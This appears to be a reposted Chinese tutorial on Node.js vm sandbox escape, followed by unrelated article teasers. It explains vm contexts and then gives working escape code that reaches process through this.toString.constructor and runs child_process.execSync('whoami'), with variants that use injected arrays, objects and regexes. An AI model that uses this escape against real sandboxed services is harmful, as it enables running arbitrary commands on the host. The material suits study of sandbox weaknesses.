nodejs VM沙箱绕过

news2025/2/27 5:47:41

文章目录

    • nodejs vm沙箱绕过
        • 1.基本概念——什么是沙箱(sandbox)
        • 2.nodejs的作用域
        • 3.vm模块的运行原理
        • 4.沙箱绕过
        • 5.沙箱绕过的一些问题

nodejs vm沙箱绕过

1.基本概念——什么是沙箱(sandbox)

当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

2.nodejs的作用域

在node中作用域一般被称为上下文。作用域之间一般是相互隔离的,而在node中我们写一个项目时往往需要在某个文件里ruquire其他的js文件,这些文件通常我们称为“包”或者“模块”。而这包与包之间是无法直接调用变量和函数的,举个例子。

在同一级的目录下创建两个js文件,a1.js和a2.js。

//在a1.js文件中写上以下代码
var num = 100;

//在a2.js文件中写上以下代码
const a = require("./a1");  //调用同一级目录下的a1文件
console.log(a.num);

//运行a2.js的结果为
[Running] node "f:\nodejs\a2.js"
undefined
//结果发现输出的num值是没有定义,也就是说a2文件尽管调用引入了a1文件,但是无法读取a1文件中的变量参数。

如果要使a2.js文件能够读取引入a1.js文件中的变量参数,可以在a1.js文件中写上输出接口exports。

//a1.js文件中添加exprots的输出语句
var num = 100;
exports.num = num;

//此时a2.js文件运行输出结果为
[Running] node "f:\nodejs\a2.js"
100
//可以看出a2成功拿到了a1中的变量参数

其中a1.js和a2.js的关系为

在这里插入图片描述

可以看出,a1和a2是在global环境下两个相对独立并相互隔离的空间。而这其中的global为全局对象,在js中全局对象为window,而在nodejs中全局对象为global。

3.vm模块的运行原理

运用前面的一些原理,如果要实现沙箱的隔离作用,我们可以创建一个新的作用域,让代码运行到这个作用域内,使其与其他作用域进行了隔离。

以下是vm运行的几个常用的函数:

vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8(Chrome中的v8引擎)为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

在这里插入图片描述

const vm = require('vm');
global.a = 1;
const sandbox = { a: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('a*=2;', sandbox);

console.log(sandbox);
console.log(a); 
//输出为
[Running] node "f:\nodejs\vmtext.js"
{ a: 4 }
1
//上下文中的a在输出中应为2*2=4,但是真正输出结果a仍是1,即沙箱内部无法访问到global的属性。

4.沙箱绕过

下面请看一个逃逸的例子。

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = this.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111

//与计算机终端使用whoami命令输出结果一致,证明逃逸成功

计算机终端输出结果

在这里插入图片描述

那么这是如何实现的?

上面代码中的this指向其实是全局,也就是说this.toString.constructor就是Function。node执行rce需要引入process对象来导入child_process,从而执行命令。但process挂载在global上,那么我们逃逸的最基本思路就是在global全局中拿到process。在此,我们可以通过原型链的方式找到全局的Function来拿到process,从而获取到child_process进行命令执行。

5.沙箱绕过的一些问题

为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?

{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

另一个问题,例如以下代码,m和n也是沙盒外的对象,为什么也不能m.toString.constructor('return process')()呢?

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = m.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1, n:2};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//这里是访问不到外部的

这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用(类似于函数传递形参),所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的。

当然,如果我们把其修改为context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = m.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m: [], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111

沙箱绕过的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/828990.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023 电赛 E 题 K210方案--K210实现矩形识别

相关库介绍 sensor(摄像头) sensor.reset() sensor.set_pixformat(sensor.RGB565) sensor.set_framesize(sensor.QVGA) sensor.skip_frames(10) reset():重置并初始化单目摄像头 set_pixformat():设置摄像头输出格式&#xff0c…

云上 Index:看「简墨」如何为云原生打造全新索引

拓数派首款数据计算引擎 PieCloudDB 是一款全新的云原生虚拟数仓。为了提升用户使用体验,提高查询效率,在实现存算分离的同时,PieCloudDB 设计与打造了全新的存储引擎「简墨」等模块,并针对云场景和分析型场景设计了高效的「Data …

长相思追剧小游戏

看效果图 Vue长相思 刚学Vue&#xff0c;正好在追剧&#xff0c;看到这个小案例觉得挺好玩的&#xff0c;第一天学&#xff0c;代码太简陋了 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name&qu…

LLM大模型——langchain相关知识总结

目录 一、简介LangChain的主要价值支柱简单安装 二、 LangChain的主要模块1.Model I/Oprompt模版定义调用语言模型 2. 数据连接3. chains4. Agents5. MemoryCallbacks 三、其他记录多进程调用 主要参考以下开源文档 文档地址&#xff1a;https://python.langchain.com/en/lates…

无人机管控平台,推动电力巡检管理水平提升

各地区无人机作业水平和管理水平存在参差不齐&#xff0c;电力巡检管理要求与业务发展水平不匹配的问题。同时&#xff0c;巡检数据的存储和管理分散&#xff0c;缺乏有效的整合与共享手段&#xff0c;使得内外业脱节&#xff0c;没有形成统一应用和闭环管理。这就导致巡检数据…

【云原生】K8S二进制搭建上篇

目录 一、环境部署1.1操作系统初始化 二、部署etcd集群2.1 准备签发证书环境在 master01 节点上操作在 node01与02 节点上操作 三、部署docker引擎四、部署 Master 组件4.1在 master01 节点上操 五、部署Worker Node组件 一、环境部署 集群IP组件k8s集群master01192.168.243.1…

Vc - Qt - QPainter translate

QPainter的translate()函数是用来对绘制坐标系统进行平移操作的方法。它可以将绘制的原点&#xff08;坐标轴的起始点&#xff09;在水平和垂直方向上进行平移。以下是一个使用QPainter的translate()方法进行坐标平移的示例代码&#xff1a; QPainter painter(this);// 绘制一个…

Day12-1-Webpack前端工程化开发

Webpack前端工程化 1 案例-webpack打包js文件 1 在index.html中编写代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><me…

Vue3_03_拉开序幕的setup

1.理解&#xff1a;Vue3.0 中的一个新的配置项&#xff0c;值为一个函数。 2.setup是所有组合式 API 表演的舞台。 3.组件中所用到的&#xff1a;数据、方法等等&#xff0c;均要配置在setup中。 4.setup函数的两种返回值&#xff1a; 若返回一个对象&#xff0c;则对象中的…

Flink Windows(窗口)详解

Windows&#xff08;窗口&#xff09; Windows是流计算的核心。Windows将流分成有限大小的“buckets”&#xff0c;我们可以在其上应用聚合计算&#xff08;ProcessWindowFunction&#xff0c;ReduceFunction&#xff0c;AggregateFunction或FoldFunction&#xff09;等。在Fl…

46.C++模板

今天进行了新的学习&#xff0c;关于c模板的使用。模板是 C 中一种泛型编程的机制&#xff0c;允许在编写代码时使用参数化类型或参数化值。通过模板&#xff0c;可以编写通用的代码&#xff0c;以处理多种不同类型的数据&#xff0c;从而提高代码的复用性和灵活性。 C 中有两…

音频客观感知MOS对比,对ViSQOL、PESQ、MosNet(神经网络MOS分)和polqa一致性对比和可信度验证

原创&#xff1a;转载需附链接&#xff1a; https://blog.csdn.net/qq_37100442/article/details/132057139?spm1001.2014.3001.5502 一、背景 Mos分评价音质重要指标&#xff0c;最近也有很多机构和公司在研究适合自己的评价体系。目前Mos分主要分为主观评测和客观感知评价。…

黑客学习笔记(网络安全)

一、首先&#xff0c;什么是黑客&#xff1f; 黑客泛指IT技术主攻渗透窃取攻击技术的电脑高手&#xff0c;现阶段黑客所需要掌握的远远不止这些。 以前是完全涉及黑灰产业的反派角色&#xff0c;现在大体指精通各种网络技术的程序人员 二、为什么要学习黑客技术&#xff1f;…

7.数组(一维数组、二维数组、C99中的变长数组、二分查找法)

数组 1.数组的概念2.一维数组2.1 一维数组的创建2.2 一维数组的类型2.3 一维数组的初始化2.4 一维数组的下标2.5 一维数组的输入与输出2.6 一维数组在内存中的存储2.7 利用sizeof()计算数组元素的个数 3.二维数组3.1 二维数组的概念3.2 二维数组的创建3.3 二维数组的初始化3.4 …

探索 GPTCache|GPT-4 将开启多模态 AI 时代,GPTCache + Milvus 带来省钱秘籍

世界正处于数字化的浪潮中&#xff0c;为了更好理解和分析大量数据&#xff0c;人们对于人工智能&#xff08;AI&#xff09;解决方案的需求呈爆炸式增长。 此前&#xff0c;OpenAI 推出基于 GPT-3.5 模型的智能对话机器人 ChatGPT&#xff0c;在自然语言处理&#xff08;NLP&a…

深度学习论文: Towards Total Recall in Industrial Anomaly Detection及其PyTorch实现

深度学习论文: Towards Total Recall in Industrial Anomaly Detection及其PyTorch实现 Towards Total Recall in Industrial Anomaly Detection PDF: https://arxiv.org/pdf/2106.08265.pdf PyTorch代码: https://github.com/shanglianlm0525/CvPytorch PyTorch代码: https://…

burp suite 2023版 模块详解《一》

burp suite2023版 模块详解<一> Brup suite 仪表盘、目标、代理模块详解 dashboard&#xff08;仪表盘&#xff09;&#xff1a; Burp Suite的dashboard是一个总览视图&#xff0c;显示有关目标和代理的重要信息。我们可以在仪表板上查看最近操作的概要、目标的状态和代…

vue 新学习 04 css样式绑定,渲染,key的重要意义

之前的html文件如何去绑定css样式&#xff1f; 01.首先在html文件中&#xff0c;在<head>标签中&#xff0c;用<style>中去写样式&#xff0c;通过html标签(每一个标签都有这样子的属性)中的class或者是id属性来完成<style>中的描绘的样式的用。 例子&#x…

用blender做一层石墨烯

文章目录 1 创建正六边形2 复制正六边形3 阵列4 球棍模型 1 创建正六边形 ShiftA->网格->圆环->左下角出现添加圆环菜单&#xff0c;将顶点设为6&#xff0c;得到一个正六边形。按下tab键进入编辑模式->快捷键F填充&#xff0c;得到下图 2 复制正六边形 首先将轴…

路由器工作原理(第二十九课)

路由器工作原理(第二十九课) 一图胜过千言 1) 路由:数据从一个网络到另外一个网络之间转发数据包的过程称为路由 2) 路由器:连接不同网络,实现不同网段之间的通信 3)路由表:路由器选择数据的传输路径的依据 原始的路由表 Destination/Mask Proto Pre Cost …